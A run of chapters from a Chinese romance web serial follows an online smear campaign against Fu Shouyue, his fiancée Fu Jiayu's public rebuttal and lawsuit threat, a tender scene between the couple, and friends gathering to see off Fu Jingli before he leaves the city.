“就这么说吧,这事儿不可能跟许愿没关系!傅京礼多在乎傅氏啊,不可能真的放弃傅氏出国,且最重要的是还要跟容浔一起出国,懂的人都知道当初容浔才是傅氏主动针对盛世的人,许愿恨傅京礼的同时肯定也恨容浔,所以两人才成了弃子!当年盛景炎是怎么上位的?不也是许愿背后出了一部分力?我看许愿是早就跟傅守越联系好了挤走了傅京礼和容浔才对!” “别的人不一定能挤走傅京礼和容浔,但说许愿的话……这我是真的信,许愿确实有这实力。” “而且这也太明显了,许愿跟傅氏斗了多久了,之前怎么不合作,现在傅京礼和容浔才要走就合作了?明摆着就是商量好的选择帮了傅守越。” “如果真的是傅京礼的意思,傅京礼为什么不把公司留给傅嘉誉而是选择把公司留给傅守越!傅嘉誉才是傅京礼的妹妹啊!所以这太不合理了!绝对是许愿干的!” “所以就说!路边的孩子不要随便捡回家!傅守越本来就不是傅家人,是傅家人好心捡回家的!你看看!之前是求娶傅家的千金小姐现在就直接篡位抢了傅家的公司,谁知道以后还能做出点什么事!绝对不要相信男人,没一个好东西!傅守越现在还没跟傅嘉誉真的结婚了就已经暴露了他的狼子野心!真要让他得到了傅氏他肯定不会娶傅嘉誉绝对会抛弃傅嘉誉!就算迫于名声娶了傅嘉誉也绝对会故意磋磨傅嘉誉,等傅嘉誉病逝后再娶他的真爱!看透他这种人了!” 网络上说什么的都有。 恰好最近千金复仇文又盛行,电视台也播了不少这类狗血婚恋的电视剧,看这类剧的人太多了,所以被有些人那起奇奇怪怪的理论一带更是一发不可收拾,在路人眼里傅守越接手了傅氏就已经成了电视剧中阴险狡诈腹黑冷漠却又不择手段的大反派! 傅守越知道这消息的时候也看到了那些人对他的评价。 阴险狡诈腹黑冷漠还不择手段……好像也没说错,确实挺贴的。 傅守越一直都知道自己不是什么好人,只是反派……这就冤枉他了,他确实没有做过多少坏事。 傅守越也不知道这群人怎么想这么多,直到看到有人猜测他得到傅氏就会抛弃傅嘉誉,甚至会故意让傅嘉誉病逝再娶真爱的时候傅守越都要被气笑了。 这不是胡说八道吗? 傅守越已经联系营销部公关部娶联系删除这些言论了,毕竟确实就是普通路人发表了下自己的观点,傅守越也没想着直接起诉说对方破坏自己的声誉。 结果收到公关部和法务部消息的“传播者”当晚义愤填膺的又发了段话。 “因为我发的那段话傅氏的公关部和法务部同时联系我要求我删除不当言论!这绝对是傅守越心虚了才会让他们联系我!我不可能删除的!傅守越你死了这条心吧!你就是对傅嘉誉没有安好心思才会这么慌张这么害怕!傅氏的走狗我不怕你们!傅嘉誉小姐你看到没有!你的未婚夫不是好人!你一定要小心他!他不会跟你结婚就算结婚也一定会故意害死你抢夺你的遗产!我把话撂这里了!傅守越如果没存着这心思我直播吃shi!我说到做到!” 这言论发表后又是一波人在力挺他。 傅守越:“……” 这人是真的有病。 傅守越倒是不在意他的名声好坏,就是担心嘉誉看到后会生气,傅长海出事后嘉誉本就心情一直不好,看到这些怕是会更气愤。 只是没等傅守越再联系那人,傅嘉誉就已经发现了那人在微博的喊话。 能不发现吗? 傅京礼和容浔离开帝城傅氏的消息都被顶上头条了,更有数不胜数的营销号搬运那传播者的信息将傅守越描述成了无恶不作的真小人。 这事儿现在只要手机有网都会自动推送的,不在乎不关注这些的可能会直接划走,可关注这些的能看不到吗? 傅嘉誉就是看到傅氏相关的才点进来,结果点进来整个人都要气炸了。 到底谁啊!在网络上发疯喷傅守越!她都没这么说过呢!那人配吗! 傅嘉誉当即登录了自己的账号,直接转了“传播者”的微博,对方最后一句是“傅守越如果没存着这心思我直播吃shi!我说到做到!”,傅嘉誉转发后嘲讽。 【傅嘉誉】:你以为傅守越为什么让人私下找你,你现在发布的这些言论已经对他的声誉造成了极严重的影响,看你是普通人不想起诉你所以私下让你删除这些不当言论,你这样胡乱传播不实言论是违法行为,如果还要执意造谣我不会管你是圈内人还是普通人我会直接起诉,你马上就会收到法院的传票! 【傅嘉誉】:我不知道你是谁,也不知道你抱着什么心思什么目的,是不是自己生活的不如意,亦或者自己就是这样满心脏污的人所以看谁都是脏的,你自己脏可以,别把脏水泼到傅守越身上! 【傅嘉誉】:你这种人我见多了,先是蹭热度,后面就会开直播带货,你可以蹭热度,但这种造谣言论触及我的底线,蹭热度可以但在网络上“骗吃骗喝”那就不好了,自己有异食癖喜欢是排泄物那是你的问题,倒不必放到网上隐忍作呕了。 傅嘉誉登录账号完全是半点面子都不给上来就是一通出击,说出口的话要多难听有多难听。 有人想说傅嘉誉恋爱脑,完全被傅守越蒙蔽双眼所以现在才回如此愚蠢,但因为傅嘉誉现在为了傅守越怼人,没人敢这个时候冒头了,像是都担心傅嘉誉说起诉的事。 心里嘀咕傅嘉誉恋爱脑,但法院传票那可不是谁都敢收的,谁不知道傅嘉誉是傅家千金?傅嘉誉能盯着他们打官司,他们普通人是真没有这个时间更没有这个精力啊! 最重要的是傅嘉誉说话也太难听了,张口就说人家脏还在网上骗吃骗喝,排泄物那是什么好东西吗人家用得着在网上骗这玩意儿吃吗! 第803章 见不得有人欺负他 造谣者还在酝酿想要反驳傅嘉誉,岂料傅嘉誉又发了博文。 【傅嘉誉】:我大哥没有将公司留给我有没有可能我根本不适合继承公司?我这么多年就是被娇惯着长大的,我就只会吃喝玩乐,让我管理公司?怎么?让傅氏倒闭吗?还有说傅守越抢了我位置的,我就喜欢闲着我就是喜欢到处玩,这也要你们管? 【傅嘉誉】:傅守越的资产都在我这里,他拿到的傅氏的股份也全都转给了我,且我们早就签署了协议,以后不论傅守越有多大的成就,他八成的盈利都会转给我,如果这样你们都觉得不够,劳烦你们自己回家看看你们未婚夫你们的丈夫一个月真能给你们八成的工资吗!还有那个嘲讽傅守越一直盯着傅守越咬的人!你是个男人吧,你一个月工资多少,最好不要是那种小镇失意青年又或者是被辞退的月收入不足三千的中年男性养不起家在网络上故意找茬发泄!你这种人我见多了,看到有热度的就要蹭!很好我已经查到了你在接触直播公司在联络卖货了!你等着,最多三天你一定会收到法院传票! 傅嘉誉是完全站傅守越的,她是真听不得有人说傅守越的不是。 更何况这人口口声声说傅守越不好,还不是为了蹭热度,这就是有预谋的,估计今天不管是谁上热搜都会被这人有组织的缠上然后带节奏! 傅嘉誉真想现在就安排人给这人送法院传票! 傅守越倒是觉得这人是普通网民还要私下让人删除博文呢,这哪里是普通人了! 那人看到傅嘉誉这么快查出自己的底细也不敢狡辩了,怂的立刻删除了微博,根本不敢再跟傅嘉誉杠上,他确实是被安排好蹭热度的,因为傅守越是傅家人,他们就是想着让他装普通路人网民,这样就算开麦傅家人也不会起诉他,起诉普通人傅家人绝对会被骂的。 偏偏傅嘉誉这么快让人查出了他的底细,这下可能真的要收到法院传票,甚至还要被其它人辱骂。 他马上就删除了这段带节奏造谣的博文,傅嘉誉却早就已经截图了,甚至将他带节奏且转载评论的数目都标注好了,转载量几万,浏览量转载量绝对是违法行为了。 【傅嘉誉】:等着{截图} 傅嘉誉发了这么一条微博,造谣者心都跟着凉了,也深知这是踢到铁板了。 造谣者这次是主动去联系了傅氏公关部和法务部表示自己已经删除了不当言论,希望他们不要继续起诉的私信。 这次却是傅嘉誉知道这消息,将他怎么跟法务部和公关部的员工低头求饶的截图全都发到微博上,让人更知道这就是个骗子。 【傅嘉誉】:像你这样的人这次是碰到了我踢到了铁板也让你知道我不是好惹的,可如果今天上热搜的不是傅守越换做是其他人你不是也会绑着嘲绑着带节奏?那些人或许不像我这样没权没势,你知不知道你的行为很可能会逼死人?因为网暴被逼死的人难道还少吗?我放过你你以后会放过其它人吗?既然违法了就要付出应有的代价! 傅嘉誉这话发出,本还想为造谣者说话的人都沉默了。 其中不乏有追星的,当然知道网络暴力有多可怕,他们粉的明星艺人也被人故意造谣过,这次头条的是傅守越,万一是他们粉的偶像上头条不也被这种人蹭然后辱骂吗? 但凡这人得逞了甚至真的开号开始带货,那以后不知道要有多少人去学造谣者,去编造一些不实言论伤害其他人。 所以傅嘉誉说的没错,既然违法了就要付出应有的代价! 没有人骂傅嘉誉,全都是骂造谣者的。 这下倒是没有人骂傅守越了,全都在说他惨。 现在还有人说许愿跟傅守越合作的事,这个傅嘉誉就不清楚了,所以没有回应,她最近因为父亲去世的消息一直没什么心情关注其他事,所以对这个一知半解的,只能等傅守越回来后再问傅守越了。 傅守越回到傅嘉誉在学校附近的小公寓时傅嘉誉就已经把网络上有关傅守越的黑词条问题解决了。 没办法,傅守越讲道理还给你个机会删除不当言论,傅嘉誉小公主可不给你这个机会,直接起诉的,谁也不想收到法院传票,所以趁着傅嘉誉盯着造谣者传播者没有盯上自己的时候赶紧删除了那些乱七八糟的言论,营销号更是不敢议论这事儿。 等傅守越回到家,就见傅嘉誉缩在沙发上满脸郁色,也不知道是被谁欺负了脸色才会这样难看,也可能是傅嘉誉又因为傅长海车祸的事做了噩梦。 傅守越有点心疼她,可他才走近,傅嘉誉就已经冲过来,然后抱住傅守越,赖在他怀里不肯出来。 傅守越抱紧她笑了笑:“怎么了?又做噩梦了?是我不好,就算出门也应该带你一起的,下次不会了。” 他们之间,如果傅嘉誉生气,那低头的人一定会是傅守越,不论傅嘉誉为什么生气,他总是先开口哄傅嘉誉。 他自小这样,早就习惯了。 “有人欺负你的事你都没有跟我讲。”傅嘉誉拽住他的领带有点凶巴巴的:“那么多人都在骂你,骂的那么难听,你都不告诉我。” 她确实看到很多难听话,骂傅守越不是男人,骂他是赘婿种种。 这种言论太多了,傅嘉誉只是看着就会替傅守越委屈,看着看着眼圈都会发红,只想让那群人全都收到法院传票! 傅守越见不得有人欺负她,可她一样见不得有人欺负傅守越啊。 那群人真要骂她,她反而不会这样生气 ,可就是因为他们一直攻击傅守越她的暴脾气才会立刻上涌。 傅嘉誉这会儿倒是没想到如果骂她,傅守越直接就会出手,才不会花费时间去调查那人是普通人还是有预谋炒作的人,甚至这种事他都会私下解决,让那人日后再也不敢在网络上传播任何谣言。 第804章 她身边只剩下傅守越了 “不是什么大事,怎么把我们嘉誉气成这样了?” 傅守越揉了揉她的头,眼底的阴霾在看到傅嘉誉时已经彻底被柔情取代,傅嘉誉有些依赖的缩进他的怀中,傅守越手臂下意识的收紧,将她圈在怀中,听出了傅嘉誉因为这件事生气,语气也渐渐放软像是带着诱哄。 “这么小的事情,不需要嘉誉出马,我能解决。” 傅嘉誉埋在他胸口,忍不住责备开口:“你哪有很快解决,如果真的很快就解决我不会看到那群人铺天盖地都在骂你了。” 她抬起头,那双黑亮的眼睛里面全都是对他的依赖和在意,那样炽热的情感。 傅守越轻抚她的发梢,知道傅嘉誉是真的很担心他很在意他才会如此不由轻笑,唇角微微上扬:“只能说是我们嘉誉太在意我了,是不是看到那些新闻就要点进去摩拳擦掌为我出气了?” “你好像在说废话。”傅嘉誉因为这件事心情不好,开口的语气都带着点刺,像是还在怪傅守越瞒着自己。 傅守越下巴轻轻抵在傅嘉誉的头顶,温热的呼吸带着丝丝热气抚过她的脸颊,这样紧紧的被他抱着,傅嘉誉能够清晰的嗅到傅守越身上淡淡的冷香气息。 她听到傅守越的低笑,像是笑她。 傅嘉誉也不觉得有什么丢脸的,她和傅守越本就是最亲近的人了,傅长海离世以后,最疼她最在意她的只会是傅守越。 而傅京礼……往后就算真的出了什么事情傅嘉誉也不会再去像往常那样去找傅京礼了,从知道父亲害死了大伯和大伯母后她和傅京礼的关系就再回不到从前了。 看到傅京礼就会想到他的父母死在自己父亲手上,她都已经知道的事情傅京礼肯定也已经清楚了。 这么长时间没来找她,甚至说没有来报复她就已经算傅京礼对她足够疼爱。 至于爷爷,自从知道爷爷清楚那一切甚至助纣为虐后,她就已经打算疏远傅老爷子了。 所以最后身边就只剩下傅守越了。 她其实有想过是不是父亲算好了一切,父亲知道往后会离开她,所以特地选了傅守越,留下傅守越陪着她走过这段孤独岁月。 大概对父亲来说能够救下她再死亡已经是一件幸事了。 傅嘉誉就是这两天才真的想通的,如果是自己遇到那种事也会毫不犹豫的去推开父亲,如果自己为了救父亲而去世自己也不会有任何埋怨,只希望父亲能够忘掉一切伤痛继续生活。就是看了傅长海留下来的两封遗书傅嘉誉渐渐想明白,父亲并不希望她痛苦。 “哥哥。”傅嘉誉抬头望着傅守越。 自从两人订婚后傅嘉誉很久没有叫他哥哥了,比起哥哥这个称呼,傅嘉誉更愿意将他看做爱人伴侣,她会喊他的名字而不是哥哥。 她的眼神闪动着微弱的脆弱的光辉,傅守越看着她,却觉得她好像整个人在此刻都快要碎掉了。 他那么了解傅嘉誉,怎么会不懂她此刻是什么心情呢? 傅守越伸出手温柔的抚摸傅嘉誉的发梢,像是在安慰她。 他清楚傅嘉誉为什么这样喊他,嘉誉对傅老爷子失望了,而傅长海也已经去世,傅京礼要离开帝城,往后只有他陪在嘉誉身边了。 就像他想的那样,她看着傅守越,有点委屈的重新埋进他怀中,鼻子发酸内心发苦,傅嘉誉嗓音带着点沙哑道:“哥哥……我真的只有你了……” “你不能像其他人一样离开我,我真的再也承受不住更大的打击了。”傅嘉誉抱着他的时候很用力。 在她眼里傅守越何尝不是最后的救命稻草? 往年傅家多热闹啊。 那时候傅京礼身边有许愿,沈略还没有离开傅氏,容浔会带着沈略来傅家过年过节,父亲和爷爷都会送她礼物,还会带着她去机场接傅守越。 那个时候好像很多人都很幸福,他们都在宠着她,她想看烟花就会特地提前申请举办一场烟花秀,她想追星,傅守越就会亲自陪着她去秀场,她想要的喜欢的,大家都会帮她得到然后捧送她身边。 她那时候就一直想,可以这样幸福下去多好啊。全世界没有人比她更快乐。 可那已经是过去了。 傅家还剩下谁呢?许愿跟傅京礼离婚选择了盛景炎,沈略因为职场的陷害离开傅氏,容浔跟随傅京礼即将出国,父亲死了,爷爷也不再是记忆中那个慈祥无害的爷爷。 一切都变了,最终剩下的只有傅守越。 她也是直到现在才真的知道在傅家这个大家庭,真的只有她被娇惯着长大,无忧无虑没有烦恼。 她以为傅家其他人都跟自己一样,可事实上父亲沉迷报仇,傅京礼在寻找真凶寻找真爱,许愿爱慕傅京礼却被一次次伤害,而爷爷确实冷漠的旁观者。 只有她因为天真什么都不懂。 “我永远都不会离开你。” 傅守越握住她的手放在唇边很轻很轻的吻了下。 “嘉誉,我们是伴侣,是爱人,我们拼接到一起再是完全的整体。我可以向你保证我们会一直在一起,就算是我会出意外,我的灵魂也会陪着你永远陪着你……” 这话才开口,傅嘉誉赶紧伸出手去捂住他的嘴,她像是急的想要落泪甚至想踩他。 “不许说!不许说!不会有意外的!我们都不会有意外的!我们就是要一直在一起,就算死也要死在一起!” 傅长海就是因为人为意外出事,她听到“意外”两字就会害怕就会慌乱,所以她不允许傅守越也出意外! 傅守越看着她像是真的要被急哭了,他最终还是轻叹一声,然后捧住她的脸,毫不避讳的与傅嘉誉对视,眼眸深处的爱意如潮水般翻涌升腾,手轻抚着她的脸颊缓缓开口道:“嘉誉,是我错了,我们都不会有意外,我会永远在你身边陪着你好不好。”他的声音低哑,透着极致的温柔和克制。 傅守越这番模样,他在海外的朋友同学看到大概是会大跌眼镜的。 因为熟识他的人都知道傅守越看似温润但实则冷漠的性子。 他就像是一头优雅却又残酷的猛兽,盘踞在自己的地盘,冷眼旁观身边人的争吵打斗,哪怕鲜血四溅他也不会有任何情绪变化,像是没有任何同情心,整个人都自我的封闭在自己独处的世界中,不会有人能获得他的信任然后踏入他的世界。 他就是这样冷漠又无情的人。 第805章 还要亲亲吗 这样冷漠的傅守越面对傅嘉誉的时候他会完全收敛自己的冷意,哪怕清楚傅嘉誉知道他是什么模样,也还是会伪装,或许说……不是伪装,而是真情流露。 他爱一个人,就是会将对方看做自己的生命,不,应该说比他的生命更重要。 傅长海那样信任他就是因为勘透他的心,傅长海不在意傅守越如何看他,他只在意傅守越是不是真的爱嘉誉,他试探了十几年才算是真正完全信任傅守越,才会牺牲自己让傅守越干干净净清清白白的像是一个好人一般留在傅嘉誉身边。 他对傅嘉誉的爱,任何人都能看得出来。 傅长海拇指摩挲着傅嘉誉的脸颊,那双温润的眼眸都带着点诱哄和讨好的笑意。 “嘉誉,我会一直留在你身边,我们还像从前一样。” 他这样温柔的看着她说:“你喜欢热闹,过节的时候我们就出去过,去夜市,去人群中,去你喜欢的演唱会,去感受人群的喧闹来填补你内心的寂寞,你喜欢烟花,我就每年为你燃放烟花,你喜欢旅游我就每年腾出时间来陪你旅游,你喜欢的……我都会给你。” “我们身边没什么变化,只是少了几个人,但是我们还在彼此身边,我们可以去认识更多新朋友,帝城那么大,不是吗?” 他俯身在她眼角亲吻着,这样的亲吻代表着抚慰。 她能明白傅长海的意思,眼底带着些许泪水,声音带着哭腔:“哥哥,我是不是太不懂事了。” “嘉誉,那些懂事的人都是因为经历了太多磋磨和磨难才会看尽人间百态人世冷暖,所以才会知道什么事该做什么事不该做,才会清楚该说什么去笼络讨好身边人。” “我不需要我的嘉誉经历这些,有我护着你你任性点没关系,不懂事也没关系,在我看来你说的不懂事也很可爱。” “我们嘉誉虽然是傅家宠出来的千金小姐,但却从不会随意践踏伤害任何人,你只是在哥哥面前喜欢撒娇哪里能算不懂事?” “因为你信任我你依赖我不是吗?” 傅守越喜欢傅嘉誉对他任性,她越是撒娇任性,在他看来就是傅嘉誉越需要自己,他也知道这是很病态的想法,可他控制不住。 傅嘉誉漆黑温润的眸中映着傅嘉誉单薄的身影,他的手轻轻拨弄着傅嘉誉的发丝,声音中带着笑意,像是带着调侃。 傅嘉誉的眼睛更红了,她拽住傅守越的衣领开口:“我真的很感谢自己小时候带你回家。” 如果傅嘉誉没有带傅守越回家呢? 傅嘉誉身边就没有哥哥没有爱人了,真的发生意外就真的只有自己了。 傅嘉誉甚至不敢想那样的自己会有多害怕多慌张。 傅守越嗓音带着温柔的哑意:“是啊,我也好感谢我们嘉誉带我回家,让我有机会陪在你身边。” 其实,就算傅嘉誉没有捡她回家傅长海也会为她安排好一切,没有他也会有另一个少年被带回家被傅长海秘密培养,然后为他取名“傅守越”,守越谐音守约,他会在幼年做好承诺永远守护傅嘉誉。 如果傅长海没有安排好一切他绝不会放纵的去违法犯罪。 他就是知道傅嘉誉已经有了他培育的后路所以才义无反顾的去报复,去争去抢。 可这些话他不会再说了,嘉誉听到只会更难过。 且,如果嘉誉没有捡他回家,傅长海带了其他人回家,谁能保证那个人真的不会背叛嘉誉伤害嘉誉? 他是男人,最懂男人的劣根性。 他可以为嘉誉付出一切,但其他人他是信不过的。 所以……还好嘉誉带他回家,让他有机会留在他身边。 傅嘉誉双手抱住傅守越的脖子,踮起脚尖凑过去:“阿越,亲亲我好不好。” 她也不叫哥哥了,改叫阿越。 他们之间这样亲密,这样叫才是正常的,只是她这样软下声音喊他的名字,倒像是带着点勾人的意味儿。 傅守越呼吸一滞,将她紧紧的搂抱进怀中,回应着她此刻主动的缠绵的亲吻,感受到她的反应,有些强势的加深这个亲吻,唇齿纠缠间,压抑已久的情感仿佛也在此刻倾泻而出。 不知亲吻了多久,傅嘉誉已经软着身体栽进他怀中,他低笑着抱紧怀中的爱人,然后抱着她做到沙发上,由着她双腿跨坐在自己腿上。 低头便看到她脸颊泛起的红晕,他忍不住指尖缓缓划过傅嘉誉的唇瓣,看着她的眼神中满是爱意和欲望。 他忍不住又在傅嘉誉唇上落下一吻,声音沙哑:“还要亲亲吗。” 话落,手顺着她的脊背缓缓下滑停在她的腰间。 傅嘉誉并不是特别纤瘦的类型,只能说偏瘦,并没有像许愿和温栩栩那样追求那种趋于完美的身材,她的小腹是带着点软软的肉的,站起来是看不到的,但坐下来就能摸到。 傅守越伸出手捏了捏她腰上的软肉,傅嘉誉被他捏的身子发软还有点红了脸。 “你别捏了……” 她觉得有点丢脸,以前两人没在一起的时候有点肉肉她不觉得有什么毕竟那时候傅守越不是自己的爱人,可现在都已经是她男朋友……或者说未婚夫了,被他捏着腰间的软肉会让她红脸,甚至觉得自己是不是要去健身或者仰卧起坐? 腰的话是不是呼啦圈更快一点?不然还是把健身教练请到家里来。 她这样想着也对傅守越说了自己的意思。 “为什么要请健身教练?”傅守越挑了下眉,他已经猜到傅嘉誉的意思了,但就是想逗她,此刻还故意的捏了捏,眼底都是明显的笑意。 “我想锻炼。”傅嘉誉不好意思说自己的腰上有肉肉所以才想锻炼。 “锻炼?”傅守越轻笑:“我们嘉誉不是能坐着就不站着,能躺着就不坐着的小懒虫吗?你也会想要锻炼了?” 他办公室里面还特地为傅嘉誉准备了专门的沙发,休息间也因为她特地换了更软更舒服的床,全因为这小祖宗觉得不够舒服。甚至有时候兴致来了还要窝在他怀里玩游戏,边玩边嘟囔他的腹肌太硬了不够软。 腹肌平日里不绷紧的时候是软的,傅嘉誉觉得硬……那是因为她赖在他怀里他一直处于紧绷状态。 但这话他又没办法说,而且这也证明傅嘉誉没有摸过其它男人的腹肌。 傅嘉誉努了努鼻子哼了一声:“不许叫我小懒虫,我只是比较喜欢享受,你给我请健身教练,要帅一点的。” 傅守越:“……” 第806章 想让哥哥更喜欢我 傅守越黑眸微眯,透出几分危险又迷人的气息,没忍住在她腰上用力捏了下。 “女健身教练不可以?一定要男的?”傅守越问。 傅嘉誉眼睛立刻就瞪圆了的盯着他看:“不行!不可以!女健身教练身材肯定超好的,你不许看!” 她本来就因为自己小腹的肉肉有点羞涩自卑呢,再请进家一个女健身教练那怎么行啊!肯定要把她比下去了,绝对不行! 傅守越被她这副吃醋的小模样逗笑了。 “嘉誉,你不许请女教练的原因是不想我看女教练,那请男教练难道我就能接受你去偷偷看别的男人了?”他嗓音带着哑意,声音带着诱哄的在她耳边低语,灼热的气息喷洒在傅嘉誉的脖颈缓缓道:“难道你不知道健身的时候很容易产生肢体接触?如果那个男教练抱住你带着你健身呢?他也会像我这样摸你触碰你怎么办?” 傅嘉誉不能想这个,也完全不能接受自己被其它的男人拥抱,只要想想就觉得很烦很讨厌。 她现在已经接受傅守越是自己的爱人,也只肯被傅守越触碰亲吻,如果是其它男人,她会生理性的厌恶的。 “那要怎么办。”她有点头疼。 “哥哥来做你的健身教练好不好。”傅守越漆黑的瞳眸中闪过一丝笑意,他低下头在傅嘉誉的脖颈处亲吻着,留下一串串暧昧的红痕。 “哥哥让人在办公室专门为你空出一间健身房怎么样?白天哥哥不工作的时候就陪着你健身?或者你在家里等哥哥回家陪你健身?跟哥哥一起自然是什么动作都可以做,多亲密也可以……” 他说着,手上的动作轻了些,却并未放开傅嘉誉,低头在她耳边轻语:“哥哥的话,是可以摸嘉誉的是不是?”他这样说着,喉间溢出轻笑,甚至用脸颊蹭了蹭傅嘉誉,眼中的占有欲几乎要溢出来。 话音才落,傅嘉誉还有点呆呆愣愣的,似乎是在思考,这模样实在太过可爱。 他看傅嘉誉就是觉得她可爱,笑的时候可爱,呲牙也可爱,发呆也是可爱的。 可爱到他控制不住自己的心更控制不住自己的动作,他一手捧住傅嘉誉的脸,眼神变得愈发温柔:“嘉誉,考虑好了吗?哥哥带你健身好不好?”说完,也不等她回答,或者说根本就没有给她回答的机会便再次俯身吻上傅嘉誉的唇,这次的吻温柔又缠绵,像是在这样炽热温柔的亲吻中缓慢的给她挖了一个小小的坑。 这样缠绵的吻后,他额头低着傅嘉誉的,又问她:“嘉誉为什么还不回答我?是觉得我不如那些健身教练吗?” 他这样又是诱哄又是亲又是抱的,傅嘉誉脑子都是乱嗡嗡的,就这么被她哄着开口答应了。 “那要哥哥当教练。”她拽着傅守越的衣领哼哼,可才答应就记起自己健身是不想小腹有肉,傅守越带她锻炼岂不是知道她为什么健身了? 她赶紧又摇头:“不要你带我锻炼,你不给我找人我自己去找人。” 傅守越眼底闪过一抹暗芒,双手再度揽抱住她的腰捏了捏:“所以为什么不要哥哥?” 傅嘉誉不说话,傅守越又一次吻上来,这次不像前面那次温柔,她觉得这样热烈的亲吻自己都快要被傅守越吞吃入腹了,她呜咽一声却又听到傅守越蛊惑的开口:“乖,嘉誉告诉哥哥为什么不要哥哥当教练,为什么突然想健身好不好?” 傅嘉誉被他这样的声音勾的整个人迷迷糊糊的,脸颊绯红的赖在他怀里哼唧一声:“你没发现吗,你的手不是都捏了很久吗?我想练出马甲线……你应该也会更喜欢吧。” 傅守越忍不住笑出声,实在是觉得傅嘉誉这样太可爱。 还真的像是他猜的那样,因为小腹的一点软肉。 “嘉誉,你这样是正常的,你不是明星也不是模特,不必追求那种极致完美的身材,你这样有一点肉肉哥哥最喜欢……”说到这里在她耳边低喃:“抱着很舒服。” 傅嘉誉这次不仅是脸红,耳朵尖也跟着红了,就这么赖在他怀里不肯抬头了,她这样赖皮,傅守越也依着她。 大抵是在男人怀里太舒服了,傅嘉誉赖着赖着就闭上眼睛睡着了,谁的特别安稳,应该是因为在他怀里才会如此安心。 傅守越不由得摇了摇头轻笑一声,抱着人进了房间,把人放到床上,他这样动作了,傅嘉誉有点迷糊的半睡半醒看他,见此傅守越重新将人搂抱进怀里。 感受到男人的动作和他身上淡淡的冷香味道,傅嘉誉依赖的在他怀中蹭了蹭,然后声音很轻的说:“我是真的很想健身,想身材更好,想让哥哥更喜欢我的。” “有没有可能不论嘉誉什么样子哥哥都喜欢?每一天都会比昨天更喜欢一些。”他的大掌覆在她的小腹上很轻的揉了揉:“嘉誉这里就是需要有一点肉,这里需要囤积一些脂肪来保护嘉誉的子宫,这是医学常识,如果嘉誉这里脂肪过多就算为了你的健康我也会带着你健身锻炼的。” “嘉誉现在就很好,哪里都好。” 他这样哄,傅嘉誉半梦半醒的都被哄的开心了,又乖又开心的在他怀里蹭蹭撒娇似的喊着:“哥哥~” 傅守越揉揉她的发梢,在她额头落下一吻:“睡吧。” 她这才真的听话的睡了。 傅守越看着怀中的爱人,眼底都是带着点幸福的笑意。 他是真的觉得傅嘉誉这样的身材很好,甚至还觉得有点偏瘦了,他都想多投喂傅嘉誉点东西让她再涨点肉,不过嘉誉发现后大概会生气,所以还是作罢。 毕竟嘉誉就是喜欢每天换漂亮的小裙子,他也不能剥夺傅嘉誉这点爱好。 见傅嘉誉已经熟睡,傅守越才换了姿势,让傅嘉誉躺在床上,为她掖盖好了被子这才给助理去了电话。 电话打过去,声音里面都带着明显的凉意。 “事情调查的怎么样。” “傅总,这件事确实是有预谋的,那个造谣者的身份已经被嘉誉小姐查出来了,他就是觉得您是傅家人不会跟普通网民一般见识所以想把事情闹大后再开直播带货赚钱,我们这边已经安排法务部起诉了。”助理赶紧将调查到的资料都发给傅守越。 傅守越淡淡道:“尽快处理好,网络上也不要再有我的负面消息,嘉誉不喜欢看这些。” “好的傅总,我这就安排。” 说到这里,傅守越顿了下提醒:“提醒公关部,以后也不能出现我的负面消息。” 这也是为了傅嘉誉。 他本人并不太在意那些负面新闻,但既然嘉誉在乎,他往后也会小心。 第807章 一定要离开吗 帝城华庭天字号包厢。 宋野来的时候还是刚开完董事会议,此刻站在会议室门外整个人也带着点怅然和陌生,在门外缓了片刻才推门进去。 江惊蛰、容浔还有傅京礼已经到了一会儿了。 因为发生了太多事,他们也确实很久没有聚过了,这次久违的聚会,谁能想得到是为了送别傅京礼的呢。 早前任谁也想不到傅京礼会离开帝城,或者说逃离帝城。 宋野是傅京礼和许愿共同的朋友,他也算是许愿的学长,许愿念书的时候他曾多次回学校跟自己的导师叙旧或者为学校捐了不少钱。两人的导师是同一个,所以许愿才会知道宋野是自己的学长,两人也是因为这件事熟识的。 许愿建立的基金会宋野也曾出力,宋野长了一张天生薄情的渣男脸,跟盛景炎还不是一挂的,盛景炎的眼睛是明显的桃花眼,看着有点多情滥情,宋野则是薄情的长相,唇瓣都是很薄的那种,眼睛是丹凤眼,总是懒洋洋的,掀起眼皮看人的时候那种居高临下恃强凌弱的感觉就出来了。 总有人说宋野瞧不起人谁也看不起,这么说其实不太对,虽然本质上宋野确实瞧不起大多数人,但这算是冤枉宋野了。 他就是长了一张薄情寡义的脸,以貌取人那……那宋野也没办法,他也不在乎,他就喜欢这样也省的有人总来打搅自己。 宋野这人算是事业心强的那一类人,跟盛景炎从小被外放到国外养大的还不一样,宋野是打小被宋家人捧在掌心养大的继承人。 看看就知道了,江惊蛰、傅京礼、再加上宋野,这群人哪个不是被家族当做继承人来培养的,几家世交是一方面,另一方面也确实是身份地位相当。 有句话是没说错的,物以类聚人以群分。 再看盛景炎的好友,说白了一个个也都是小可怜,黎云笙自小被当做傀儡养大还是自己有能力后掌控了黎家,盛景炎是嫡子却被盛父故意改了身份对外成了私生子,私生子被偏宠独揽大权,后期也是盛景炎跟许愿抢回了盛世,这两人的经历都相当,所以虽然身边好友众多,但这两人关系确实最近。 宋野一进来就挤到傅京礼身旁坐着,随意的开了瓶酒,目光却仍然放在傅京礼身上,眼神散漫中又像是带了几分难言的认真。 “真打算走?没有商量的余地了?” 宋野当然震惊且不想接受。 这世界上人与人之间迟早都会分别,但每个圈子的人其实活动范围都在那个圈子,不出意外他们这群人结婚生子到老到死都会在帝城。 这就是为什么世家与世家结交,他们不会像小县城亦或者是其他二三线城市的普通人考上大学后背井离乡去大城市开始新的一段生活,这类人或者会扛不住高压几年后回到曾经的小城市,也可能抗下了高压,但他身边的同事好友也可能会分分合合离开。 世家不同,他们的根在这里,不论出什么事都会在帝城扎根,自小长大的交情,不是什么人就能轻易斩断的。 宋野身边关系好的人不少,但真的关系好到江惊蛰和傅京礼这种的那一只手是真数的出来的。 “真要走?”宋野又问。 傅京礼倒了杯酒敬他:“已经决定了,傅氏以后都会交给傅守越,我跟容浔会去开拓海外市场,先去替你们探探路。” 宋野心里泛着点苦涩。 “往日里逢年过节大家都会聚到一起的,现在突然说走就走我还真有点不适应。”他叹了口气:“真的一定要到这一步吗。” 说到这里宋野也觉得自己这话说的有些不合时宜,还是深深的看了傅京礼一眼,良久后叹气:“离开也挺好的,好在你身边有容浔。” 容浔笑了笑也敬了他一杯酒。 宋野没说的是,他清楚傅京礼对许愿的深情,离开也算是让自己不再执着许愿,再加上……傅家那一团乱麻,离开也好。 留在帝城他恐怕才会不停的持续受伤吧。 